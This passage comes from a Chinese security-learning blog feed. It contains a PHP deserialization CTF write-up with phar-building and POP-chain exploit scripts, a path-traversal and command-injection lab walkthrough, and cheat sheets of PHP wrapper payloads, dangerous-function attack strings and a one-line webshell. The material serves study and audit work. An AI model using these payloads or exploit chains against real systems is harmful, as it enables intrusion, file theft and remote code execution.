文件的解析，进而触发元数据的反序列化。</p><p>如果元数据中包含<strong>恶意序列化对象</strong>（比如带有<code>__wakeup()</code>、<code>__destruct()</code>等魔术方法的类，这些方法会在反序列化时自动执行），就会触发代码执行，形成漏洞。<img src="/images/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/IMG-20260201220916228.png"><br>然后读取文件内容，进行编码<br>$content &#x3D; file_get_contents(‘a.phar’);<br>echo urlencode(base64_encode($content)) . “<br>“;<br>我贴一下源码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">// 1. 定义核心恶意类：funny</span><br><span class="line">class funny&#123;</span><br><span class="line">    // __destruct()是PHP魔术方法：当对象被销毁（如脚本结束、unset、反序列化后）时自动执行</span><br><span class="line">    function __destruct() &#123;</span><br><span class="line">        // global $flag：声明使用全局变量$flag（目标服务器中通常存储flag）</span><br><span class="line">        global $flag;</span><br><span class="line">        // 输出$flag——这是漏洞利用的最终目标（获取flag）</span><br><span class="line">        echo $flag;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 2. 清理旧文件：避免同名文件导致创建失败</span><br><span class="line">// @：抑制unlink的错误（比如文件不存在时的报错）</span><br><span class="line">@unlink(&quot;exp1.phar&quot;);</span><br><span class="line"></span><br><span class="line">// 3. 创建phar文件核心流程</span><br><span class="line">// 实例化Phar类，创建exp1.phar文件（后缀必须是.phar，PHP识别phar文件的基础）</span><br><span class="line">$phar = new Phar(&quot;exp1.phar&quot;);</span><br><span class="line"></span><br><span class="line">// 开启phar缓冲区：所有操作先写入内存，不直接刷到磁盘（避免频繁IO）</span><br><span class="line">$phar-&gt;startBuffering();</span><br><span class="line"></span><br><span class="line">// 设置phar的Stub（标识头）：必须以&lt;?php __HALT_COMPILER(); ?&gt;结尾，PHP才能识别为phar文件</span><br><span class="line">// 这是phar文件的“身份标识”，无此内容PHP不会解析为phar文件</span><br><span class="line">$phar-&gt;setStub(&quot;&lt;?php __HALT_COMPILER(); ?&gt;&quot;);</span><br><span class="line"></span><br><span class="line">// 关键：创建funny类的实例（对象）</span><br><span class="line">$b =new funny();</span><br><span class="line"></span><br><span class="line">// 将funny对象存入phar的元数据（metadata）</span><br><span class="line">// 注意注释：不用手动serialize()——Phar类会自动将传入的对象序列化后存入manifest（清单）</span><br><span class="line">$phar-&gt;setMetadata($b);</span><br><span class="line"></span><br><span class="line">// 向phar归档中添加一个空文件（test.txt），内容为&quot;test&quot;</span><br><span class="line">// 核心要求：phar文件必须包含至少一个文件内容（否则创建失败），这行是满足格式要求的“占位符”</span><br><span class="line">$phar-&gt;addFromString(&quot;test.txt&quot;, &quot;test&quot;);</span><br><span class="line"></span><br><span class="line">// 结束缓冲区：将内存中的操作刷到磁盘，自动计算phar文件的签名（完成创建）</span><br><span class="line">$phar-&gt;stopBuffering();</span><br><span class="line"></span><br><span class="line">// 4. 读取并编码phar文件内容</span><br><span class="line">// 读取生成的exp1.phar文件的二进制内容</span><br><span class="line">$content = file_get_contents(&#x27;exp1.phar&#x27;);</span><br><span class="line"></span><br><span class="line">// 先base64编码（处理二进制内容），再urlencode（避免传输时乱码），最后换行</span><br><span class="line">echo urlencode(base64_encode($content)) . &quot;&lt;br&gt;&quot;;</span><br></pre></td></tr></table></figure><p>上传过后 会给一个路径 这就是文件所在的路径 去反序列化它 也就是php解析它就可以了<br>8. 这道题有很多个类，每个类里面都有不止一个函数，那么我们肯定想的是构造pop链，先确定要怎么触发，我们先来确定开始和终点，这里源码的末尾，是把发送的东西反序列化了，我们就可以先想到开头，可能会是c类里面的construct。a类里面的resolve函数应该是终点，因为里面就可以响应到flag，假设一下 比如起点是最好触发的destruct开始 这里会调用一个add方法 是不存在的方法call 这里这个函数 拼接起来就是调用到addme方法嘛 然后会返回字符串  就到了tostring 这里访问了string属性 并不存在于a里面 那么触发get get($name) 里的 $name，<br>永远等于你写在 -&gt; 后面的那个名字    前面属性名是 字面量 string<br>插入规则 规则原文级别的结论<br>当访问<br>obj-&gt;prop 时，如果该属性在当前作用域中不可访问，PHP 会调用 get(“prop”) 也就是说<code>$this-&gt;string[&quot;string&quot;]()</code>;调用resolve<br>看了半天wp 也没有看懂这个为啥能用到 这里补充知识点<br>array_walk：这个函数接受一个数组和一个回调函数，将数组中的每个元素作为参数<br>传递给回调函数<br>此外，将一个对象传递给需要数组的函数时，PHP 会将对象转换为对象的公共属性<br>数组来处理，所以第一个参数可以传 $this<br>对象传入 array_walk 时，它会遍历对象的每个公共属性，并将每个属性值和属性名<br>传递给回调函数，回调函数两个参数分别为 属性值 和 属性名<br>原来如此 那么我先尝试自己口述一次<br>先创造个a1实例 销毁后调用des 为了触发call a1的this-&gt;object作为b 这里用到addme 会出字符串<br>当 PHP 执行：<br>“字符串” . $x</p><ul><li><p><code>$x</code> 是字符串 → 直接用</p></li><li><p><code>$x</code> 是数字 → 转字符串</p></li><li><p><strong><code>$x</code> 是对象 → 尝试调用 <code>$x-&gt;__toString()</code></strong><br>触发tostring<br>然后call  c &#x3D; new c(array(“string”&#x3D;&gt;array($a2, “resolve”)));<br>创建一个对象 <code>c</code>，<br>它的私有属性 <code>$string</code> 是一个数组，<br>当别人访问 <code>$c-&gt;string</code> 时，<br>就自动调用 <code>$a2-&gt;resolve()</code>。<br>私有属性不知道怎么搞了<br>看了文章的反射</p></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$refc = new ReflectionClass($c);</span><br></pre></td></tr></table></figure><p><strong>内部结构对象</strong> 此时 <code>$refc</code> 里包含：</p><ul><li>类名</li><li>所有属性（包括 private）</li><li>所有方法</li><li>可见性信息</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$propString = $refc-&gt;getProperty(&#x27;string&#x27;);</span><br></pre></td></tr></table></figure><p>在类 c 里，找到那个叫 <code>string</code> 的属性</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$propString-&gt;setAccessible(true);</span><br></pre></td></tr></table></figure><p> 强行关闭可见性检查 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$propString-&gt;setValue($c, [&quot;string&quot; =&gt; [$a2, &quot;resolve&quot;]]);</span><br></pre></td></tr></table></figure><p>直接往对象内存里写值</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">class a &#123;</span><br><span class="line">    public $object;</span><br><span class="line">    public $ls; // 必须有这个属性，值为[&#x27;system&#x27;]</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">class b &#123;</span><br><span class="line">    protected $filename; // 受保护属性，需通过反射赋值</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">class c &#123;</span><br><span class="line">    private $string; // 私有属性，需通过反射赋值</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 1. 构建最终触发resolve的a实例（a2）</span><br><span class="line">$a2 = new a();</span><br><span class="line">$a2-&gt;ls = [&#x27;system&#x27;]; // 满足resolve的条件：$prev=ls，$fn[0]=system</span><br><span class="line"></span><br><span class="line">// 2. 构建c实例，让其__get触发a2-&gt;resolve()</span><br><span class="line">$c = new c();</span><br><span class="line">// 反射给c的private $string赋值：$c-&gt;string[&quot;string&quot;] = [$a2, &quot;resolve&quot;]</span><br><span class="line">$refc = new ReflectionClass($c);</span><br><span class="line">$propString = $refc-&gt;getProperty(&#x27;string&#x27;);</span><br><span class="line">$propString-&gt;setAccessible(true);</span><br><span class="line">$propString-&gt;setValue($c, [&quot;string&quot; =&gt; [$a2, &quot;resolve&quot;]]);</span><br><span class="line"></span><br><span class="line">// 3. 构建被b引用的a实例（a1），其object指向c</span><br><span class="line">$a1 = new a();</span><br><span class="line">$a1-&gt;object = $c; // a1的__toString触发c的__get</span><br><span class="line"></span><br><span class="line">// 4. 构建b实例，给protected $filename赋值为a1</span><br><span class="line">$b = new b();</span><br><span class="line">$refb = new ReflectionClass($b);</span><br><span class="line">$propFilename = $refb-&gt;getProperty(&#x27;filename&#x27;);</span><br><span class="line">$propFilename-&gt;setAccessible(true);</span><br><span class="line">$propFilename-&gt;setValue($b, $a1); // b的addMe触发a1的__toString</span><br><span class="line"></span><br><span class="line">// 5. 构建入口a实例，其object指向b（触发__destruct）</span><br><span class="line">$a = new a();</span><br><span class="line">$a-&gt;object = $b;</span><br><span class="line"></span><br><span class="line">// 序列化并URL编码</span><br><span class="line">echo urlencode(serialize($a));</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>http://47.109.24.42/2026/01/30/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</id>
    <link href="http://47.109.24.42/2026/01/30/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    <published>2026-01-30T12:00:00.000Z</published>
    <summary>
      <![CDATA[<p>一般的反序列化入口</p>
<table>
<thead>
<tr>
<th><strong>方法名</strong></th>
<th><strong>触发时机 &#x2F; 定义</strong></th>
<th><strong>触发方式极简示例</strong></]]>
    </summary>
    <title>反序列化</title>
    <updated>2026-01-30T12:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<p> 先写靶场</p><ol><li>直接用get访问即可，这里对文件没有任何限制。</li><li>用upload那里学到的00截断来做，如果你要传php文件的话，可以不用管，因为他是加上后缀.php（其实我这里没有看懂这个防御方式），如果要穿其他文件的话，就在末尾用00截断</li><li>从后往前数四个，如果是.php就直接错，不是的话就直接访问，绕过的方式就很多了，可以大写绕过。也可以加点绕过。</li><li>·addslashes()函数，addslashes()是 <strong>PHP 内置的字符串转义函数</strong>，核心作用是：在字符串中的 ** 单引号（<code>&#39;</code>）、双引号（<code>&quot;</code>）、反斜线（<code>\</code>）、NUL（NULL 空字符）** 这四类 “预定义特殊字符” 前，添加反斜杠（<code>\</code>），这里也没有什么影响啊，上一目录是..&#x2F;，正常写就可以。</li><li>会将..&#x2F;替换为空，这里可以用upload里面学到的双写绕过，…&#x2F;.&#x2F;，删去之后还是..&#x2F;。</li><li>六到第十关除了把前面get改为post以外，没有区别。</li><li>界面看不到发送的请求应该是什么，看源码，然后看到参数名发送post</li><li>和上一关一样，改成get就可以</li><li>和之前一关一样，都是双写..&#x2F;绕过，这里是发送get请求（注意在url上面直接拼接，因为那个框并不是真正的发get请求）</li><li>和上一关一样发post</li><li>这里到了cmd的第一关，没有任何限制，直接在表单输入，或者说直接构造url即可，可以用cd看所在目录，也可以直接whoami查看用户，dir查看也可以，完全没有限制。</li><li>和上一关一样，（这里表单就是发送post请求）可以直接写</li><li>这里学到linux的管道符，| ;表示无论前者是不是为真，都可以直接执行后者（注意|，是把前一个的输出作为后者的输入，而;只是单纯的依次执行）||是前者为假，执行后者，&amp;&amp;是前者为真，就执行后者。</li><li>发post</li><li>看源码，对domain有很多限制，但是对server没有限制，那么可以在server这个参数上面开干，直接随便写一个域名，然后用;加上ls，在拼接上domain即可（因为这里对domain有了很多限制，那么就要真的输入一个正确的无风险的域名）</li><li>发post</li></ol><h2 id="关于协议和php伪协议以及SSRF常见的绕过"><a href="#关于协议和php伪协议以及SSRF常见的绕过" class="headerlink" title="关于协议和php伪协议以及SSRF常见的绕过"></a>关于协议和php伪协议以及SSRF常见的绕过</h2><hr><h1 id="PHP-伪协议与漏洞利用速查表"><a href="#PHP-伪协议与漏洞利用速查表" class="headerlink" title="PHP 伪协议与漏洞利用速查表"></a>PHP 伪协议与漏洞利用速查表</h1><h2 id="一、-本地文件操作-Local-File-Inclusion"><a href="#一、-本地文件操作-Local-File-Inclusion" class="headerlink" title="一、 本地文件操作 (Local File Inclusion)"></a>一、 本地文件操作 (Local File Inclusion)</h2><p>主要用于读取服务器上的敏感文件，或配合文件上传漏洞解析内部的 PHP 代码。</p><h3 id="1-file-访问本地文件系统"><a href="#1-file-访问本地文件系统" class="headerlink" title="1. file:// (访问本地文件系统)"></a>1. <code>file://</code> (访问本地文件系统)</h3><ul><li><p><strong>用途</strong>：读取本地文件内容。</p></li><li><p><strong>条件</strong>：<code>allow_url_fopen</code>: Off&#x2F;On 均可，<code>allow_url_include</code>: Off&#x2F;On 均可。</p></li><li><p><strong>Payload</strong>：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># Linux 读取 /etc/passwd</span><br><span class="line">file:///etc/passwd</span><br><span class="line"></span><br><span class="line"># Windows 读取 hosts</span><br><span class="line">file://C:/Windows/System32/drivers/etc/hosts</span><br></pre></td></tr></table></figure></li></ul><h3 id="2-php-filter-读取源码"><a href="#2-php-filter-读取源码" class="headerlink" title="2. php://filter (读取源码)"></a>2. <code>php://filter</code> (读取源码)</h3><ul><li><p><strong>用途</strong>：利用流过滤器读取 PHP 文件源码，避免被服务器直接解析执行。</p></li><li><p><strong>条件</strong>：无特殊限制。</p></li><li><p><strong>Payload</strong>：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"># 1. Base64 编码读取 (最常用)</span><br><span class="line"># 此时浏览器会显示 base64 字符串，解码即可得到源码</span><br><span class="line">php://filter/read=convert.base64-encode/resource=index.php</span><br><span class="line"></span><br><span class="line"># 2. ROT13 编码读取 (绕过 WAF 对 &quot;base64&quot; 关键字的过滤)</span><br><span class="line">php://filter/read=string.rot13/resource=index.php</span><br><span class="line"></span><br><span class="line"># 3. iconv 字符集转换 (绕过复杂 WAF)</span><br><span class="line">php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php</span><br></pre></td></tr></table></figure></li></ul><h3 id="3-zip-读取压缩包内文件"><a href="#3-zip-读取压缩包内文件" class="headerlink" title="3. zip:// (读取压缩包内文件)"></a>3. <code>zip://</code> (读取压缩包内文件)</h3><ul><li><p><strong>用途</strong>：配合文件上传漏洞。上传一个修改后缀为 <code>.jpg</code> 的 zip 压缩包，利用该协议执行包内的 PHP 文件。</p></li><li><p><strong>条件</strong>：无特殊限制。</p></li><li><p><strong>注意</strong>：<strong>必须使用绝对路径</strong>；URL 中的 <code>#</code> 必须编码为 <code>%23</code>。</p></li><li><p><strong>Payload</strong>：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"># 假设上传路径为 /var/www/html/upload/1.jpg</span><br><span class="line"># 1.jpg 实为 zip 包，内部包含 shell.php</span><br><span class="line">zip:///var/www/html/upload/1.jpg%23shell.php</span><br></pre></td></tr></table></figure></li></ul><h3 id="4-phar-PHP-归档文件"><a href="#4-phar-PHP-归档文件" class="headerlink" title="4. phar:// (PHP 归档文件)"></a>4. <code>phar://</code> (PHP 归档文件)</h3><ul><li><p><strong>用途</strong>：同 <code>zip://</code>，用于解析压缩包。</p></li><li><p><strong>条件</strong>：PHP &gt;&#x3D; 5.3.0。</p></li><li><p><strong>优势</strong>：支持<strong>相对路径</strong>，比 <code>zip://</code> 更灵活。</p></li><li><p><strong>Payload</strong>：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 假设上传了 shell.png (原身是 zip 或 phar 包，内含 shell.php)</span><br><span class="line">phar://shell.png/shell.php</span><br></pre></td></tr></table></figure></li></ul><h2 id="二、-远程代码执行-Remote-Code-Execution"><a href="#二、-远程代码执行-Remote-Code-Execution" class="headerlink" title="二、 远程代码执行 (Remote Code Execution)"></a>二、 远程代码执行 (Remote Code Execution)</h2><p>此类协议通常需要开启特定的 PHP 配置 (<code>allow_url_include</code>)，危害极大。</p><h3 id="5-data-数据流执行"><a href="#5-data-数据流执行" class="headerlink" title="5. data:// (数据流执行)"></a>5. <code>data://</code> (数据流执行)</h3><ul><li><p><strong>用途</strong>：将 PHP 代码直接嵌入 URL 中让服务器执行。</p></li><li><p><strong>条件</strong>：<strong>必须</strong> <code>allow_url_fopen: On</code> 且 <strong>必须</strong> <code>allow_url_include: On</code>。</p></li><li><p><strong>Payload</strong>：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 1. 纯文本格式 (特殊字符易导致解析错误)</span><br><span class="line">data://text/plain,&lt;?php phpinfo();?&gt;</span><br><span class="line"></span><br><span class="line"># 2. Base64 编码格式 (推荐，稳定隐蔽)</span><br><span class="line"># 内容为: &lt;?php system(&#x27;ls&#x27;); ?&gt;</span><br><span class="line">data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==</span><br></pre></td></tr></table></figure></li></ul><h3 id="6-php-input-POST-数据流"><a href="#6-php-input-POST-数据流" class="headerlink" title="6. php://input (POST 数据流)"></a>6. <code>php://input</code> (POST 数据流)</h3><ul><li><p><strong>用途</strong>：读取 POST 请求体中的数据并作为 PHP 代码执行。</p></li><li><p><strong>条件</strong>：<strong>必须</strong> <code>allow_url_include: On</code>。</p></li><li><p><strong>Payload</strong>：</p><ul><li><p><strong>URL 参数</strong>: <code>?file=php://input</code></p></li><li><p><strong>POST Body</strong>:</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php system(&#x27;ls -la&#x27;); ?&gt;</span><br></pre></td></tr></table></figure></li></ul></li></ul><h3 id="7-expect-系统命令执行"><a href="#7-expect-系统命令执行" class="headerlink" title="7. expect:// (系统命令执行)"></a>7. <code>expect://</code> (系统命令执行)</h3><ul><li><p><strong>用途</strong>：直接执行系统 Shell 命令。</p></li><li><p><strong>条件</strong>：<strong>必须</strong>安装 <code>expect</code> 扩展。</p></li><li><p><strong>Payload</strong>：</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">expect://whoami</span><br><span class="line">expect://ls -la</span><br></pre></td></tr></table></figure></li></ul><p>至于dict:&#x2F;&#x2F; gopher:&#x2F;&#x2F;  待我后面在SSRF的那一篇做详细补充和使用 我一定要狠狠…<br>补上危险函数说明</p><h1 id="PHP-敏感函数与高危操作速查表"><a href="#PHP-敏感函数与高危操作速查表" class="headerlink" title="PHP 敏感函数与高危操作速查表"></a>PHP 敏感函数与高危操作速查表</h1><h2 id="一、-命令执行类-Command-Execution"><a href="#一、-命令执行类-Command-Execution" class="headerlink" title="一、 命令执行类 (Command Execution)"></a>一、 命令执行类 (Command Execution)</h2><p>*直接调用操作系统命令</p><p>这些函数如果参数可控，攻击者可以直接执行系统命令（如 <code>whoami</code>, <code>cat /flag</code>），获取服务器最高权限。</p><table><thead><tr><th align="left">函数名</th><th align="left">特性&#x2F;区别</th><th align="left">典型攻击 Payload</th></tr></thead><tbody><tr><td align="left"><strong><code>system($cmd)</code></strong></td><td align="left">执行命令并<strong>直接输出结果</strong>到页面。</td><td align="left"><code>system(&#39;ls -la&#39;);</code></td></tr><tr><td align="left"><strong><code>passthru($cmd)</code></strong></td><td align="left">同 <code>system</code>，直接输出结果（常用于处理二进制数据）。</td><td align="left"><code>passthru(&#39;cat /etc/passwd&#39;);</code></td></tr><tr><td align="left"><strong><code>exec($cmd, $array)</code></strong></td><td align="left">执行命令，但<strong>只返回最后一行结果</strong>。完整结果需通过第二个参数引用获取。</td><td align="left"><code>exec(&#39;whoami&#39;, $output); print_r($output);</code></td></tr><tr><td align="left"><strong><code>shell_exec($cmd)</code></strong></td><td align="left">执行命令并<strong>以字符串形式返回所有结果</strong>。</td><td align="left"><code>echo shell_exec(&#39;id&#39;);</code></td></tr><tr><td align="left"><strong>反引号 <code>`cmd`</code></strong></td><td align="left">等同于 <code>shell_exec</code>，是其简写形式。</td><td align="left"><code>echo `ls`;</code></td></tr><tr><td align="left"><strong><code>popen($cmd, &#39;r&#39;)</code></strong></td><td align="left">打开一个指向进程的管道，通常用于读写命令输入输出。</td><td align="left"><code>$f = popen(&#39;whoami&#39;, &#39;r&#39;); echo fread($f, 1024);</code></td></tr><tr><td align="left"><strong><code>proc_open(...)</code></strong></td><td align="left">更底层的进程控制函数，功能同上但更复杂。</td><td align="left">(常用于 bypass disable_functions)</td></tr><tr><td align="left"><strong><code>pcntl_exec(...)</code></strong></td><td align="left">在当前进程空间执行指定程序。</td><td align="left">(常用于 CLI 模式下的利用)</td></tr></tbody></table><hr><h2 id="二、-代码执行类-Code-Execution"><a href="#二、-代码执行类-Code-Execution" class="headerlink" title="二、 代码执行类 (Code Execution)"></a>二、 代码执行类 (Code Execution)</h2><p>*将字符串当作 PHP 代码执行</p><p>攻击者可以输入任意 PHP 代码（如 <code>phpinfo();</code> 或 <code>system(&#39;ls&#39;);</code>），等同于接管了 PHP 解释器。<br>这里我纠正一下我一直搞错的一个误区<br><strong>eval</strong>是一个语言结构不是函数 还有就是<br>在 PHP 7 中 <code>assert</code> 是函数，可以回调，所以以前常用 <code>array_map(&#39;assert&#39;, ...)</code>；但在 PHP 8 中 <code>assert</code> 变成了语言结构<br>之前自己本地试里面回调函数用不了eval 我都没管过 那么小的问题居然到现在才解决 我服了我了…</p><table><thead><tr><th align="left">函数名</th><th align="left">特性&#x2F;区别</th><th align="left">典型攻击 Payload</th></tr></thead><tbody><tr><td align="left"><strong><code>eval($str)</code></strong></td><td align="left"><strong>最常见的后门函数</strong>。把字符串当代码执行。<em>注：eval 是语言结构不是函数。</em></td><td align="left"><code>eval(&#39;phpinfo();&#39;);</code></td></tr><tr><td align="left"><strong><code>assert($str)</code></strong></td><td align="left">类似于 <code>eval</code>。<em>注：PHP 7 中作为函数，PHP 8 中作为语言结构。</em></td><td align="left"><code>assert($_POST[&#39;cmd&#39;]);</code></td></tr><tr><td align="left"><strong><code>call_user_func($cb)</code></strong></td><td align="left">回调函数调用。如果第一个参数（函数名）可控，可调用任意函数。</td><td align="left"><code>call_user_func(&#39;system&#39;, &#39;ls&#39;);</code></td></tr><tr><td align="left"><strong><code>create_function(...)</code></strong></td><td align="left">创建匿名函数（已废弃 之前的php版本来RCE应该很爽）。内部使用了 <code>eval</code>，极易被注入。</td><td align="left"><code>$func = create_function(&#39;&#39;, &#39;}phpinfo();/*&#39;);</code></td></tr><tr><td align="left"><strong><code>array_map($cb, $arr)</code></strong></td><td align="left">数组回调。常配合 <code>system</code> 等函数批量执行。</td><td align="left"><code>array_map(&#39;system&#39;, [&#39;ls&#39;]);</code></td></tr><tr><td align="left"><strong><code>preg_replace(/e)</code></strong></td><td align="left">正则替换。如果使用了 <code>/e</code> 修饰符（已废弃），替换字符串会被当做代码执行。</td><td align="left"><code>preg_replace(&#39;/.*/e&#39;, &#39;phpinfo()&#39;, &#39;a&#39;);</code></td></tr></tbody></table><hr><h2 id="三、-文件操作类-File-Operation"><a href="#三、-文件操作类-File-Operation" class="headerlink" title="三、 文件操作类 (File Operation)"></a>三、 文件操作类 (File Operation)</h2><p>*涉及文件包含、读取、写入、删除</p><p>此类函数配合伪协议（<code>php://</code>）可导致敏感信息泄露或 GetShell。</p><h3 id="1-文件包含-LFI-RFI"><a href="#1-文件包含-LFI-RFI" class="headerlink" title="1. 文件包含 (LFI&#x2F;RFI)"></a>1. 文件包含 (LFI&#x2F;RFI)</h3><ul><li><strong><code>include($file)</code></strong> &#x2F; <strong><code>include_once($file)</code></strong>: 包含文件，若失败只产生警告，脚本继续执行。</li><li><strong><code>require($file)</code></strong> &#x2F; <strong><code>require_once($file)</code></strong>: 包含文件，若失败产生致命错误，脚本终止。<ul><li><em>攻击点</em>：配合 <code>../../</code> 目录穿越读文件，或配合上传图片马 GetShell。</li></ul></li></ul><h3 id="2-文件读取-File-Read"><a href="#2-文件读取-File-Read" class="headerlink" title="2. 文件读取 (File Read)"></a>2. 文件读取 (File Read)</h3><ul><li><strong><code>file_get_contents($file)</code></strong>: 读取文件内容到字符串（支持远程 URL）。</li><li><strong><code>readfile($file)</code></strong>: 读取文件并直接输出到缓冲区。</li><li><strong><code>fopen($file, &#39;r&#39;)</code></strong> + <strong><code>fread()</code></strong>: 打开并读取文件。</li><li><strong><code>highlight_file($file)</code></strong> &#x2F; <strong><code>show_source($file)</code></strong>: 高亮显示文件源码（CTF 常用）。<ul><li><em>攻击点</em>：读取 <code>config.php</code> 数据库密码、<code>/etc/passwd</code> 等。</li></ul></li></ul><h3 id="3-文件写入-删除-File-Write-Delete"><a href="#3-文件写入-删除-File-Write-Delete" class="headerlink" title="3. 文件写入&#x2F;删除 (File Write&#x2F;Delete)"></a>3. 文件写入&#x2F;删除 (File Write&#x2F;Delete)</h3><ul><li><strong><code>file_put_contents($file, $data)</code></strong>: 将数据写入文件。<ul><li><em>攻击点</em>：写入 Webshell (<code>&lt;?php eval($_POST[1]);?&gt;</code>)。</li></ul></li><li><strong><code>unlink($file)</code></strong>: 删除文件。<ul><li><em>攻击点</em>：删除系统的锁文件（lock file）导致重装漏洞，或删除关键配置。</li></ul></li></ul><hr><h2 id="四、-网络请求类-SSRF"><a href="#四、-网络请求类-SSRF" class="headerlink" title="四、 网络请求类 (SSRF)"></a>四、 网络请求类 (SSRF)</h2><p>*发起服务端请求</p><p>如果 URL 参数可控，可用于探测内网或攻击内网服务（Redis&#x2F;MySQL）。</p><table><thead><tr><th align="left">函数名</th><th align="left">描述</th><th align="left">攻击方式</th></tr></thead><tbody><tr><td align="left"><strong><code>curl_exec()</code></strong></td><td align="left">cURL 会话执行。功能最强，支持 Gopher&#x2F;Dict 等协议。</td><td align="left"><code>gopher://</code> 打 Redis，<code>dict://</code> 扫端口。</td></tr><tr><td align="left"><strong><code>file_get_contents()</code></strong></td><td align="left">虽然主要读文件，但也支持 HTTP&#x2F;HTTPS 协议。</td><td align="left">GET 请求探测内网 Web 存活。</td></tr><tr><td align="left"><strong><code>fsockopen()</code></strong></td><td align="left">打开网络 socket 连接。</td><td align="left">构造原始 TCP 数据包攻击。</td></tr></tbody></table><hr><h3 id="审计小技巧-Audit-Tips"><a href="#审计小技巧-Audit-Tips" class="headerlink" title="审计小技巧 (Audit Tips)"></a>审计小技巧 (Audit Tips)</h3><p>在做白盒审计（看源码找漏洞）时，可以直接在 IDE 或 grep 中搜索这些关键词：</p><ol><li><strong>搜 RCE</strong>: <code>system(</code>, <code>exec(</code>, <code>eval(</code>, <code>assert(</code>, <code>call_user_func</code></li><li><strong>搜 LFI</strong>: <code>include</code>, <code>require</code></li><li><strong>搜 SSRF</strong>: <code>curl_exec</code>, <code>file_get_contents</code></li><li><strong>搜 变量覆盖</strong>: <code>extract(</code>, <code>parse_str(</code>, <code>$$</code> (双美元符号)</li></ol>]]>
    </content>
    <id>http://47.109.24.42/2026/01/27/LFI/</id>
    <link href="http://47.109.24.42/2026/01/27/LFI/"/>
